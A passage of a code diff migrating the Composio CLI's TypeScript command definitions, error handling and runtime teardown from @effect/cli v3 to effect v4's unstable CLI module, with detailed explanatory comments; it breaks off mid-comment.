@@ -1005,4 +1005,4 @@ export const runBackgroundWorkerFromArgv = (argv: ReadonlyArray<string>) =>
1005 if (!handledAnalytics) {
1006 yield* runCodactFailureWorker(argv);
1007 }
1008 - }).pipe(Effect.catchAllCause(() => Effect.void));
1008 + }).pipe(Effect.catchCause(() => Effect.void));
ts/packages/cli/src/bin.ts
+1 -1
@@ -1,6 +1,6 @@
1 import process from 'node:process';
2 import { Effect, Layer } from 'effect';
3 -import * as FetchHttpClient from '@effect/platform/FetchHttpClient';
3 +import { FetchHttpClient } from 'effect/unstable/http';
4 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
5 import * as BunPath from '@effect/platform-bun/BunPath';
6 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
ts/packages/cli/src/cli-config.ts
+35 -5
@@ -1,7 +1,37 @@
1 -import type { CliConfig } from '@effect/cli/CliConfig';
1 +import { GlobalFlag, type CliConfig } from 'effect/unstable/cli';
2
3 +/**
4 + * Composio's `effect/unstable/cli` runner configuration.
5 + *
6 + * v4's `CliConfig.Service` shape shrank to a single field: `builtIns`, the
7 + * ordered list of built-in global flags (`--help`/`-h`, `--version`/`-v`,
8 + * `--wizard`, `--completions`, `--log-level`) that `Command.runWith` accepts
9 + * at every command in the tree. Composio only wants `--help`/`-h`, so every
10 + * other built-in is dropped by omitting it here (this is the v4 equivalent of
11 + * v3's `showBuiltIns: false`, scoped down to exactly the flag we still want).
12 + *
13 + * `GlobalFlag.Version` is deliberately absent: `composio --version` and
14 + * `composio -v` must print byte-identical output to the `composio version`
15 + * *command* (a bare semver via `ui.output()`, see `commands/version.cmd.ts`),
16 + * so `src/commands/index.ts` rewrites those spellings to the `version` command
17 + * before parsing (`normalizeVersionFlag`). Leaving the built-in active would let
18 + * `composio <subcommand> --version` reach v4's `<name> v<version>` banner
19 + * instead — a second, different rendering of the same value.
20 + *
21 + * This is the *only* CliConfig customization Composio makes. Everything else
22 + * — "Did you mean?" suggestions on `UnrecognizedOption`/`UnknownSubcommand`
23 + * and help rendering — uses v4's own `CliOutput.defaultFormatter()`
24 + * deliberately: suggestions are useful UX.
25 + *
26 + * v3's `autoCorrectLimit` and `isCaseSensitive` have no v4 counterpart:
27 + * - "Did you mean?" suggestions are computed unconditionally by the parser
28 + * (`internal/auto-suggest.ts`) and attached to `CliError.UnrecognizedOption`
29 + * / `CliError.UnknownSubcommand`. There is no config knob to disable them,
30 + * and Composio no longer wants to — they render as-is.
31 + * - Flag and subcommand name matching in v4's parser is always exact-match
32 + * (no case-folding is performed), so no config is needed to keep
33 + * Composio's case-sensitive behavior.
34 + */
35 export const ComposioCliConfig = {
4 - showBuiltIns: false,
5 - autoCorrectLimit: 0,
6 - isCaseSensitive: true,
7 -} satisfies Partial<CliConfig>;
36 + builtIns: [GlobalFlag.Help],
37 +} satisfies Partial<CliConfig.CliConfig.Service>;
ts/packages/cli/src/cli-main.ts
+130 -48
@@ -1,19 +1,89 @@
1 +/**
2 + * Composio CLI runner: composes the top-level Effect layers and drives the
3 + * root command through `effect/unstable/cli`'s `Command.runWith`.
4 + *
5 + * ## v4 runner design (read before touching this file)
6 + *
7 + * v3's `@effect/cli` `Command.run`/`runWith` returned a `ValidationError` on
8 + * parse/validation failure and left rendering (help text, "did you mean"
9 + * tips) entirely to the caller. This module used to inspect
10 + * `ValidationError.error` (a `HelpDoc`), render it by hand, and separately
11 + * look up help text for the resolved command via `root-help.ts`.
12 + *
13 + * v4's `Command.runWith` (see
14 + * `ts/vendor/effect/packages/effect/src/unstable/cli/Command.ts`,
15 + * `runWith`/`showHelp`) is different in a load-bearing way: it *renders
16 + * help and errors itself* — `Console.log`ing the formatted `HelpDoc` and
17 + * `Console.error`ing formatted `CliError`s for the resolved `commandPath` —
18 + * and only then re-fails with a `CliError.ShowHelp`. By the time that
19 + * failure reaches this module, the correct output (respecting whatever
20 + * command tree/visibility was passed to `Command.runWith`, using v4's own
21 + * `CliOutput.defaultFormatter()` — see `cli-config.ts` for why Composio no
22 + * longer overrides it) has already been printed once, to the correct
23 + * stream.
24 + *
25 + * `CliError.ShowHelp` (see `ts/vendor/.../unstable/cli/CliError.ts`) carries
26 + * two `effect/Runtime` markers set on the class itself:
27 + * `[Runtime.errorExitCode] = errors.length ? 1 : 0` and
28 + * `[Runtime.errorReported] = false`. Those markers are how `ShowHelp` tells
29 + * the runtime "I already printed my own output; don't log me again, and here
30 + * is the exit code to use." Consequently, this module's job for `ShowHelp`
31 + * is to do *nothing* — not render, not intercept — and simply let it
32 + * propagate to `BunRuntime.runMain`: `errorReported = false` suppresses
33 + * `runMain`'s automatic `Effect.logError(cause)` (see `Runtime.makeRunMain`),
34 + * and the custom `teardown` below reads `errorExitCode` off the squashed
35 + * error to pick the process exit code (0 for a bare `--help`/`--version`
36 + * request, 1 when help was shown alongside parse/validation errors). The
37 + * sandboxed catch-all handler further down special-cases `ShowHelp` for
38 + * exactly this reason: it re-fails with the original `Cause` via
39 + * `Effect.failCause` instead of swallowing it like every other error.
40 + * `collectValueOptionNames` and the "Tip: --flag requires a value" logic
41 + * that used to run in a dedicated `ShowHelp` branch here are gone for a
42 + * related reason: v4's `CliError.InvalidValue` already renders that exact
43 + * tip natively ("Missing value for flag --x. Expected: ...") as part of
44 + * `Command.runWith`'s own error output.
45 + *
46 + * `matchCommandFromArgv` / `getCommandHelpText` are still used lower down,
47 + * in the catch-all defect handler — that is a genuinely different path
48 + * (real command-handler failures captured by `effect-errors`, not CLI
49 + * parse/validation failures), and `Command.runWith` never renders anything
50 + * for it, so appending the resolved command's help text there is not a
51 + * double-print.
52 + *
53 + * v3's `CliConfig` also configured `autoCorrectLimit: 0` and
54 + * `isCaseSensitive: true`. Neither has a v4 config equivalent, and neither
55 + * is reproduced anymore: v4's parser is always exact-match (no case-folding,
56 + * so `isCaseSensitive` needs no knob), and "Did you mean?" suggestions on
57 + * `UnrecognizedOption`/`UnknownSubcommand` now render as-is — see
58 + * `cli-config.ts` for the full rationale. `CliConfigLive` below narrows the
59 + * active built-in global flags to just `--help`/`-h` and `--version`/root
60 + * `-v`, per `ComposioCliConfig`; that narrowing is the only `CliConfig`
61 + * customization left.
62 + *
63 + * `runWithConfig` (from `src/commands`) still receives the *full*
64 + * `process.argv`, including the node/bun executable and script path
65 + * prefix, exactly as before. That module slices the prefix off internally
66 + * for its own routing/help logic. The `effect/unstable/cli` `Command.runWith`
67 + * (unlike v3's `Command.run`) expects args *without* that prefix, so
68 + * whatever `commands/index.ts` binds as its own `run` helper is
69 + * responsible for slicing `argv.slice(2)` immediately before invoking
70 + * `Command.runWith` — this module does not do that slicing itself, so the
71 + * contract at the `runWithConfig` boundary must not change.
72 + */
73 import process from 'node:process';
2 -import { Cause, Effect, Exit, Layer, Logger } from 'effect';
74 +import { Cause, ConfigProvider, Effect, Exit, Layer, Logger, Predicate, Runtime } from 'effect';
75 import { captureErrors, prettyPrintFromCapturedErrors } from 'effect-errors/index';
4 -import { CliConfig, HelpDoc, ValidationError } from '@effect/cli';
5 -import * as FetchHttpClient from '@effect/platform/FetchHttpClient';
6 -import * as BunContext from '@effect/platform-bun/BunContext';
76 +import { CliConfig, CliError } from 'effect/unstable/cli';
77 +import { FetchHttpClient } from 'effect/unstable/http';
78 +import * as BunServices from '@effect/platform-bun/BunServices';
79 import * as BunRuntime from '@effect/platform-bun/BunRuntime';
80 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
81 import * as BunPath from '@effect/platform-bun/BunPath';
10 -import type { Teardown } from '@effect/platform/Runtime';
11 -import { buildRootCommand, runWithConfig, type RootCommandBootstrap } from 'src/commands';
12 -import { collectValueOptionNames } from 'src/commands/command-introspection';
82 +import { runWithConfig, type RootCommandBootstrap } from 'src/commands';
83 import { matchCommandFromArgv, getCommandHelpText } from 'src/commands/root-help';
84 import * as constants from 'src/constants';
85 import { ComposioCliConfig } from 'src/cli-config';
16 -import { BaseConfigProviderLive, ConfigLive, extendConfigProvider } from 'src/services/config';
86 +import { getBaseConfigProvider, ConfigLive, extendConfigProvider } from 'src/services/config';
87 import {
88 ComposioClientSingleton,
89 ComposioSessionRepository,
@@ -141,29 +211,50 @@ const layers = Layer.mergeAll(
211 SetupSkillInstallerLive,
212 TriggersRealtimeLive,
213 ProjectContextLive,
144 - BunContext.layer,
214 + BunServices.layer,
215 BunFileSystem.layer,
216 BunPath.layer,
217 FetchHttpClient.layer,
218 StdinLive,
219 TerminalUILive,
150 - Logger.replace(Logger.defaultLogger, Logger.prettyLogger({ stderr: true }))
220 + Logger.layer([Logger.consolePretty({ stderr: true })])
221 ) satisfies RequiredLayer;
222
153 -export const teardown: Teardown = <E, A>(exit: Exit.Exit<E, A>, onExit: (code: number) => void) => {
154 - const shouldFail = Exit.isFailure(exit) && !Cause.isInterruptedOnly(exit.cause);
223 +export const teardown: Runtime.Teardown = <E, A>(
224 + exit: Exit.Exit<E, A>,
225 + onExit: (code: number) => void
226 +) => {
227 + if (Exit.isFailure(exit) && !Cause.hasInterruptsOnly(exit.cause)) {
228 + const squashed = Cause.squash(exit.cause);
229 + // `ShowHelp` carries its own `[Runtime.errorExitCode]` (0 for bare
230 + // help/version, 1 alongside parse/validation errors, see the module docs
231 + // above); prefer that over the generic fallback whenever it applies.
232 + const exitCode =
233 + CliError.isCliError(squashed) && Predicate.isTagged(squashed, 'ShowHelp')
234 + ? Runtime.getErrorExitCode(squashed)
235 + : Number(process.exitCode ?? 1);
236 + onExit(exitCode);
237 + return;
238 + }
239 // A command that proxies another process (`composio run`) reports its status by assigning
240 // `process.exitCode`, so honor that on every path. It matters most on interrupt: the runtime
241 // force-exits with whatever code teardown yields once a signal has been received, which would
242 // otherwise turn a cancelled run into a success.
159 - onExit(Number(process.exitCode ?? (shouldFail ? 1 : 0)));
243 + onExit(Number(process.exitCode ?? 0));
244 };
245
246 +// `runWithConfig`'s root command tree (built from every `.cmd.ts` subcommand in
247 +// `src/commands`) is deep and wide enough that TypeScript's inference collapses its
248 +// requirement (`R`) type to `any` rather than the precise union of service tags. That
249 +// `any` is otherwise infectious through the rest of this pipeline (defeating the
250 +// `Effect.provide(layers)` / `RequiredLayer` checks below), so it is pinned here to the
251 +// same service union `layers` actually provides — this changes nothing at runtime, it
252 +// only restores the precise static type that inference failed to produce on its own.
253 const runWithArgs = (argv: ReadonlyArray<string>, bootstrap: RootCommandBootstrap) =>
163 - Effect.flatMap(runWithConfig, run => run(argv, bootstrap)) satisfies Effect.Effect<
254 + Effect.flatMap(runWithConfig, run => run(argv, bootstrap)) as Effect.Effect<
255 void,
256 unknown,
166 - unknown
257 + Layer.Success<typeof layers>
258 >;
259
260 const runWithTelemetry = (argv: ReadonlyArray<string>) =>
@@ -196,12 +287,12 @@ const runWithTelemetry = (argv: ReadonlyArray<string>) =>
287 Effect.andThen(runWithArgs(argv, bootstrap)),
288 Effect.scoped,
289 Effect.mapError(error =>
199 - ValidationError.isValidationError(error) ? error : mapOnlyComposioOverrideError({ error })
290 + CliError.isCliError(error) ? error : mapOnlyComposioOverrideError({ error })
291 ),
292 Effect.tap(() =>
293 trackCliEventEffect(getPrimaryLifecycleSucceededEvent(commandTelemetryContext))
294 ),
204 - Effect.tapErrorCause(cause =>
295 + Effect.tapCause(cause =>
296 trackCliEventEffect(
297 getPrimaryLifecycleFailedEvent(commandTelemetryContext, Cause.squash(cause))
298 )
@@ -223,35 +314,6 @@ const cliProgram = (argv: ReadonlyArray<string>) =>
314 showUpdateNotice.pipe(
315 Effect.andThen(showPluginAcquisitionHint(argv)),
316 Effect.andThen(runWithTelemetry(argv)),
226 - Effect.catchIf(ValidationError.isValidationError, error => {
227 - return Effect.gen(function* () {
228 - const ui = yield* TerminalUI;
229 - const cliUserConfig = yield* ComposioCliUserConfig;
230 - const visibility = {
231 - isDevModeEnabled: cliUserConfig.isDevModeEnabled(),
232 - isExperimentalFeatureEnabled: (feature: string) =>
233 - cliUserConfig.isExperimentalFeatureEnabled(feature),
234 - };
235 - const valueOptionNames = collectValueOptionNames(buildRootCommand(visibility));
236 - const text = HelpDoc.toAnsiText(error.error).trim();
237 - const errorEffect = text.length > 0 ? ui.error(text) : Effect.void;
238 - const flagMatch = text.match(/Received unknown argument: '(-{1,2}[\w-]+)'/);
239 - const tipEffect =
240 - flagMatch && valueOptionNames.has(flagMatch[1])
241 - ? ui.error(`Tip: ${flagMatch[1]} requires a value, e.g. ${flagMatch[1]} "value"`)
242 - : Effect.void;
243 - const cmdName = matchCommandFromArgv(argv, visibility);
244 - const helpText = cmdName ? getCommandHelpText(cmdName, visibility) : undefined;
245 - const helpEffect = helpText ? ui.error(helpText) : Effect.void;
246 - return yield* Effect.all([errorEffect, tipEffect, helpEffect], { discard: true }).pipe(
247 - Effect.tap(() =>
248 - Effect.sync(() => {
249 - process.exitCode = 1;
250 - })
251 - )
252 - );
253 - });
254 - }),
317 Effect.catchIf(
318 (error): error is SetupCommandError => error instanceof SetupCommandError,
319 error =>
@@ -298,8 +360,22 @@ const cliProgram = (argv: ReadonlyArray<string>) =>
360 },
361 }),
362 Effect.sandbox,
301 - Effect.catchAll(
363 + Effect.catch(
364 Effect.fn(function* (cause) {
365 + const squashed = Cause.squash(cause);
366 + if (CliError.isCliError(squashed) && Predicate.isTagged(squashed, 'ShowHelp')) {
367 + // `Command.runWith` already printed help and any parse/validation
368 + // errors to the correct stream (see the module docs above) before
369 + // re-failing with `ShowHelp`. Re-failing with the original `cause`
370 + // here — instead of swallowing it like every other error below —
371 + // lets it reach `BunRuntime.runMain` untouched: `ShowHelp`'s
372 + // `[Runtime.errorReported] = false` suppresses `runMain`'s automatic
373 + // error log, and `teardown` reads its `[Runtime.errorExitCode]` to
374 + // pick the process exit code. Nothing here may print, or output
375 + // doubles.
376 + return yield* Effect.failCause(cause);
377 + }
378 +
379 const captured = yield* captureErrors(cause, {
380 stripCwd: true,
381 });
@@ -324,6 +400,10 @@ const cliProgram = (argv: ReadonlyArray<string>) =>
400 isExperimentalFeatureEnabled: (feature: string) =>
401 cliUserConfig.isExperimentalFeatureEnabled(feature),
402 };
403 + // This handles genuine command-execution failures (business errors captured by
404 + // effect-errors), a different path from the `ShowHelp` branch above: those are CLI
405 + // parse/validation failures that `Command.runWith` already rendered itself. Appending
406 + // the resolved command's help text here is not a double-print of that.
407 const cmdName = matchCommandFromArgv(argv, visibility);
408 const helpText = cmdName ? getCommandHelpText(cmdName, visibility) : undefined;
409 if (helpText) {
@@ -335,7 +415,9 @@ const cliProgram = (argv: ReadonlyArray<string>) =>
415 })
416 ),
417 Effect.provide(layers),
338 - Effect.withConfigProvider(extendConfigProvider(BaseConfigProviderLive))
418 + // v4 removed `Effect.withConfigProvider` (a FiberRef-scoped combinator); `ConfigProvider` is
419 + // now a `Context.Reference`, so the equivalent is providing it as a layer.
420 + Effect.provide(ConfigProvider.layer(extendConfigProvider(getBaseConfigProvider())))
421 );
422
423 export const runCli = (options: CliBootstrapOptions): void => {
ts/packages/cli/src/commands/$default.cmd.ts
+28 -54
@@ -1,70 +1,44 @@
1 -import { Context, Schema, LogLevel, Equal, Layer, Effect } from 'effect';
2 -import { Command, Options } from '@effect/cli';
1 +import { LogLevel, type Option } from 'effect';
2 +import { Command, Flag } from 'effect/unstable/cli';
3 import { setMinimumLogLevel } from 'src/effects/with-log-level';
4 -import type { ConfigError } from 'effect/ConfigError';
4
6 -const logLevelEntries = [
7 - ['all', LogLevel.All],
8 - ['fatal', LogLevel.Fatal],
9 - ['error', LogLevel.Error],
10 - ['warning', LogLevel.Warning],
11 - ['info', LogLevel.Info],
12 - ['debug', LogLevel.Debug],
13 - ['trace', LogLevel.Trace],
14 - ['none', LogLevel.None],
15 -] as const satisfies ReadonlyArray<readonly [string, LogLevel.LogLevel]>;
16 -
17 -const logLevelChoices = logLevelEntries.map(([choice]) => choice);
18 -
19 -const decodeLogLevel = (literal: (typeof logLevelChoices)[number]): LogLevel.LogLevel =>
20 - logLevelEntries.find(([choice]) => choice === literal)?.[1] ?? LogLevel.None;
21 -
22 -const encodeLogLevel = (logLevel: LogLevel.LogLevel): (typeof logLevelChoices)[number] =>
23 - logLevelEntries.find(([, value]) => Equal.equals(value, logLevel))?.[0] ?? 'none';
24 -
25 -const LogLevelLiteralSchema = Schema.Literal(...logLevelChoices)
26 - .annotations({
27 - identifier: 'LogLevelLiteral',
28 - })
29 - .pipe(
30 - Schema.transform(
31 - Schema.declare((input: unknown): input is LogLevel.LogLevel =>
32 - logLevelEntries.some(([, logLevel]) => Equal.equals(input, logLevel))
33 - ).annotations({
34 - identifier: 'LogLevel',
35 - }),
36 - {
37 - decode: decodeLogLevel,
38 - encode: encodeLogLevel,
39 - strict: true,
40 - }
41 - )
42 - );
43 -
44 -const logLevel = Options.choice('log-level', logLevelChoices).pipe(
45 - Options.withSchema(LogLevelLiteralSchema),
46 - Options.withDescription('Define log level'),
47 - Options.optional
5 +const logLevel = Flag.choice('log-level', LogLevel.values).pipe(
6 + Flag.withDescription('Define log level'),
7 + Flag.optional
8 );
9
50 -class $DefaultCmdContext extends Context.Tag('cli/$DefaultCmdContext')<
51 - $DefaultCmdContext,
52 - Layer.Layer<never, ConfigError, never>
53 ->() {}
54 -
10 /**
11 * CLI entry point for the Composio CLI.
12 *
13 + * `--log-level` is a shared flag: v4 only applies a plain root flag when no
14 + * subcommand is selected, so `composio --log-level Debug version` needs the
15 + * flag to be inherited by every subcommand. The minimum log level is applied by
16 + * `withRootLogLevel` once the subcommand tree is attached, because
17 + * `Command.provide` wraps only the handler that exists when it is called.
18 + *
19 * @example
20 * ```bash
21 * composio <subcommand>
22 * ```
23 */
63 -export const $defaultCmd = Command.make('composio', { logLevel }).pipe(
24 +export const $defaultCmd = Command.make('composio').pipe(
25 + Command.withSharedFlags({ logLevel }),
26 Command.withDescription(
27 `Composio CLI - A tool for managing Python and TypeScript composio.dev projects.`
66 - ),
67 - Command.provideEffect($DefaultCmdContext, ({ logLevel }) =>
68 - Effect.succeed(setMinimumLogLevel(logLevel))
28 )
29 );
30 +
31 +/**
32 + * Applies `--log-level` (falling back to `COMPOSIO_LOG_LEVEL`) to the root handler and every
33 + * subcommand it dispatches to. Call it on the fully assembled root command, after
34 + * `Command.withSubcommands`.
35 + */
36 +export const withRootLogLevel = <
37 + const Name extends string,
38 + Input extends { readonly logLevel: Option.Option<LogLevel.LogLevel> },
39 + ContextInput,
40 + E,
41 + R,
42 +>(
43 + root: Command.Command<Name, Input, ContextInput, E, R>
44 +) => root.pipe(Command.provide(({ logLevel }: Input) => setMinimumLogLevel(logLevel)));
ts/packages/cli/src/commands/agent/agent.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { agentCmd$Claim } from './commands/agent.claim.cmd';
3 import { agentCmd$Inbox } from './commands/agent.inbox.cmd';
4 import { agentCmd$Login } from './commands/agent.login.cmd';
ts/packages/cli/src/commands/agent/commands/agent.claim.cmd.ts
+3 -3
@@ -1,11 +1,11 @@
1 -import { Args, Command } from '@effect/cli';
1 import { Effect } from 'effect';
2 +import { Argument, Command } from 'effect/unstable/cli';
3 import { handleAgentAuthError } from 'src/effects/handle-agent-auth-error';
4 import { claimAgent, resolveStoredAgentKey } from 'src/services/agents';
5 import { TerminalUI } from 'src/services/terminal-ui';
6
7 -const email = Args.text({ name: 'email' }).pipe(
8 - Args.withDescription('Human email address to invite as an admin for this agent org')
7 +const email = Argument.string('email').pipe(
8 + Argument.withDescription('Human email address to invite as an admin for this agent org')
9 );
10
11 export const agentCmd$Claim = Command.make('claim', { email }).pipe(
ts/packages/cli/src/commands/agent/commands/agent.inbox.cmd.ts
+4 -4
@@ -1,12 +1,12 @@
1 -import { Command, Options } from '@effect/cli';
1 import { Effect } from 'effect';
2 +import { Command, Flag } from 'effect/unstable/cli';
3 import { handleAgentAuthError } from 'src/effects/handle-agent-auth-error';
4 import { fetchAgentInbox, resolveStoredAgentKey } from 'src/services/agents';
5 import { TerminalUI } from 'src/services/terminal-ui';
6
7 -const limit = Options.integer('limit').pipe(
8 - Options.withDefault(50),
9 - Options.withDescription('Maximum number of inbox messages to fetch')
7 +const limit = Flag.integer('limit').pipe(
8 + Flag.withDefault(50),
9 + Flag.withDescription('Maximum number of inbox messages to fetch')
10 );
11
12 export const agentCmd$Inbox = Command.make('inbox', { limit }).pipe(
ts/packages/cli/src/commands/agent/commands/agent.login.cmd.ts
+3 -3
@@ -1,5 +1,5 @@
1 -import { Args, Command } from '@effect/cli';
1 import { Effect } from 'effect';
2 +import { Argument, Command } from 'effect/unstable/cli';
3 import { handleAgentAuthError } from 'src/effects/handle-agent-auth-error';
4 import {
5 ensureAgentSignupAllowed,
@@ -10,8 +10,8 @@ import {
10 } from 'src/services/agents';
11 import { TerminalUI } from 'src/services/terminal-ui';
12
13 -const composioAgentKey = Args.text({ name: 'composio_agent_key' }).pipe(
14 - Args.withDescription('Composio agent key for an existing agent identity')
13 +const composioAgentKey = Argument.string('composio_agent_key').pipe(
14 + Argument.withDescription('Composio agent key for an existing agent identity')
15 );
16
17 export const agentCmd$Login = Command.make('login', { composioAgentKey }).pipe(
ts/packages/cli/src/commands/agent/commands/agent.signup.cmd.ts
+11 -13
@@ -1,22 +1,20 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { runAgentSignup } from '../../signup.cmd';
3
4 -const noWait = Options.boolean('no-wait').pipe(
5 - Options.withDefault(false),
6 - Options.withDescription('Start agent signup and exit without waiting for credentials')
4 +const noWait = Flag.boolean('no-wait').pipe(
5 + Flag.withDefault(false),
6 + Flag.withDescription('Start agent signup and exit without waiting for credentials')
7 );
8
9 -const noLogin = Options.boolean('no-login').pipe(
10 - Options.withDefault(false),
11 - Options.withDescription('Create or verify the agent identity without logging the CLI in')
9 +const noLogin = Flag.boolean('no-login').pipe(
10 + Flag.withDefault(false),
11 + Flag.withDescription('Create or verify the agent identity without logging the CLI in')
12 );
13
14 -const force = Options.boolean('force').pipe(
15 - Options.withAlias('f'),
16 - Options.withDefault(false),
17 - Options.withDescription(
18 - 'Create a new agent identity even if ~/.composio/agent.json already exists'
19 - )
14 +const force = Flag.boolean('force').pipe(
15 + Flag.withAlias('f'),
16 + Flag.withDefault(false),
17 + Flag.withDescription('Create a new agent identity even if ~/.composio/agent.json already exists')
18 );
19
20 export const agentCmd$Signup = Command.make(
ts/packages/cli/src/commands/agent/commands/agent.whoami.cmd.ts
+1 -1
@@ -1,5 +1,5 @@
1 -import { Command } from '@effect/cli';
1 import { Effect } from 'effect';
2 +import { Command } from 'effect/unstable/cli';
3 import { handleAgentAuthError } from 'src/effects/handle-agent-auth-error';
4 import {
5 fetchAgentWhoami,
ts/packages/cli/src/commands/artifacts.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import {
4 resolveArtifactsRoot,
ts/packages/cli/src/commands/auth-configs/auth-configs.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { authConfigsCmd$List } from './commands/auth-configs.list.cmd';
3 import { authConfigsCmd$Info } from './commands/auth-configs.info.cmd';
4 import { authConfigsCmd$Create } from './commands/auth-configs.create.cmd';
ts/packages/cli/src/commands/auth-configs/commands/auth-configs.create.cmd.ts
+17 -19
@@ -1,5 +1,5 @@
1 -import { Args, Command, Options } from '@effect/cli';
2 -import { Effect, Either, Option } from 'effect';
1 +import { Effect, Option, Result } from 'effect';
2 +import { Argument, Command, Flag } from 'effect/unstable/cli';
3 import type { AuthConfigCreateParams } from '@composio/client/resources/auth-configs';
4 import { parseJsonRecord } from 'src/utils/parse-json';
5 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
@@ -9,30 +9,28 @@ import { handleHttpServerError } from 'src/effects/handle-http-error';
9 import { redact } from 'src/ui/redact';
10 import { formatAuthConfigCreated } from '../format';
11
12 -const name = Args.text({ name: 'name' }).pipe(
13 - Args.withDescription('Display name for the auth config'),
14 - Args.optional
12 +const name = Argument.string('name').pipe(
13 + Argument.withDescription('Display name for the auth config'),
14 + Argument.optional
15 );
16
17 -const toolkit = Options.text('toolkit').pipe(
18 - Options.withDescription('Toolkit slug (e.g. "gmail")')
19 -);
17 +const toolkit = Flag.string('toolkit').pipe(Flag.withDescription('Toolkit slug (e.g. "gmail")'));
18
21 -const authScheme = Options.text('auth-scheme').pipe(
22 - Options.withDescription(
19 +const authScheme = Flag.string('auth-scheme').pipe(
20 + Flag.withDescription(
21 'Auth scheme (e.g. OAUTH2, API_KEY, BEARER_TOKEN). If omitted, uses Composio managed defaults.'
22 ),
25 - Options.optional
23 + Flag.optional
24 );
25
28 -const scopes = Options.text('scopes').pipe(
29 - Options.withDescription('Comma-separated scopes (OAuth only, e.g. "send_email,read_email")'),
30 - Options.optional
26 +const scopes = Flag.string('scopes').pipe(
27 + Flag.withDescription('Comma-separated scopes (OAuth only, e.g. "send_email,read_email")'),
28 + Flag.optional
29 );
30
33 -const customCredentials = Options.text('custom-credentials').pipe(
34 - Options.withDescription('Custom credentials as JSON string (for white-labeling)'),
35 - Options.optional
31 +const customCredentials = Flag.string('custom-credentials').pipe(
32 + Flag.withDescription('Custom credentials as JSON string (for white-labeling)'),
33 + Flag.optional
34 );
35
36 /**
@@ -64,14 +62,14 @@ export const authConfigsCmd$Create = Command.make(
62 let parsedCustomCredentials: Record<string, unknown> | undefined;
63 if (Option.isSome(customCredentials)) {
64 const parsed = parseJsonRecord(customCredentials.value);
67 - if (Either.isLeft(parsed)) {
65 + if (Result.isFailure(parsed)) {
66 yield* ui.log.error('Invalid JSON in --custom-credentials. Please provide valid JSON.');
67 yield* ui.log.step(
68 'Example:\n> composio dev auth-configs create "name" --toolkit "gmail" --custom-credentials \'{"client_id":"...","client_secret":"..."}\''
69 );
70 return;
71 }
74 - parsedCustomCredentials = parsed.right;
72 + parsedCustomCredentials = parsed.success;
73 }
74
75 // Parse scopes into array
ts/packages/cli/src/commands/auth-configs/commands/auth-configs.info.cmd.ts
+4 -4
@@ -1,14 +1,14 @@
1 -import { Args, Command } from '@effect/cli';
1 import { Effect, Option } from 'effect';
2 +import { Argument, Command } from 'effect/unstable/cli';
3 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
4 import { TerminalUI } from 'src/services/terminal-ui';
5 import { requireAuth } from 'src/effects/require-auth';
6 import { handleHttpServerError } from 'src/effects/handle-http-error';
7 import { formatAuthConfigInfo } from '../format';
8
9 -const id = Args.text({ name: 'id' }).pipe(
10 - Args.withDescription('Auth config ID (nanoid)'),
11 - Args.optional
9 +const id = Argument.string('id').pipe(
10 + Argument.withDescription('Auth config ID (nanoid)'),
11 + Argument.optional
12 );
13
14 /**
ts/packages/cli/src/commands/auth-configs/commands/auth-configs.list.cmd.ts
+10 -12
@@ -1,5 +1,5 @@
1 -import { Command, Options } from '@effect/cli';
1 import { Effect, Option } from 'effect';
2 +import { Command, Flag } from 'effect/unstable/cli';
3 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
4 import { TerminalUI } from 'src/services/terminal-ui';
5 import { requireAuth } from 'src/effects/require-auth';
@@ -7,21 +7,19 @@ import { clampLimit } from 'src/ui/clamp-limit';
7 import { redact } from 'src/ui/redact';
8 import { formatAuthConfigsTable, formatAuthConfigsJson } from '../format';
9
10 -const toolkits = Options.text('toolkits').pipe(
11 - Options.withDescription(
12 - 'Filter by toolkit slugs, comma-separated (e.g. "gmail" or "gmail,slack")'
13 - ),
14 - Options.optional
10 +const toolkits = Flag.string('toolkits').pipe(
11 + Flag.withDescription('Filter by toolkit slugs, comma-separated (e.g. "gmail" or "gmail,slack")'),
12 + Flag.optional
13 );
14
17 -const query = Options.text('query').pipe(
18 - Options.withDescription('Search by auth config name'),
19 - Options.optional
15 +const query = Flag.string('query').pipe(
16 + Flag.withDescription('Search by auth config name'),
17 + Flag.optional
18 );
19
22 -const limit = Options.integer('limit').pipe(
23 - Options.withDefault(30),
24 - Options.withDescription('Number of results per page (1-1000)')
20 +const limit = Flag.integer('limit').pipe(
21 + Flag.withDefault(30),
22 + Flag.withDescription('Number of results per page (1-1000)')
23 );
24
25 /**
ts/packages/cli/src/commands/background-update-check.ts
+29 -31
@@ -1,44 +1,42 @@
1 -import { Command } from '@effect/cli';
2 -import { Effect, Option } from 'effect';
1 +import { Effect, Predicate } from 'effect';
2 +import { Command } from 'effect/unstable/cli';
3 import { versionCmd } from './version.cmd';
4 import { checkForUpdateInBackground } from 'src/services/update-check';
5
6 -type RootCommandInput = {
7 - readonly subcommand: Option.Option<unknown>;
8 -};
9 -
10 -type ParsedSubcommand = readonly [commandTag: unknown, input: unknown];
11 -
12 -const isParsedSubcommand = (value: unknown): value is ParsedSubcommand =>
13 - Array.isArray(value) && value.length === 2;
14 -
15 -const isExplicitVersionCheck = (subcommand: Option.Option<unknown>): boolean =>
16 - Option.exists(subcommand, selected => {
17 - if (!isParsedSubcommand(selected) || selected[0] !== versionCmd.tag) {
18 - return false;
19 - }
20 -
21 - const input = selected[1];
22 - return typeof input === 'object' && input !== null && 'check' in input && input.check === true;
23 - });
6 +const isExplicitVersionCheck = (commandName: string, input: unknown): boolean =>
7 + commandName === versionCmd.name && Predicate.hasProperty(input, 'check') && input.check === true;
8
9 /**
26 - * Starts the background update request after @effect/cli has parsed the selected command.
10 + * Builds the root command so the background update request starts only after the CLI has parsed
11 + * the selected command, and never for an explicit `composio version --check`.
12 *
28 - * @effect/cli v3 retains the selected command tag alongside its parsed input at runtime,
29 - * even though the public root-input type erases that tuple.
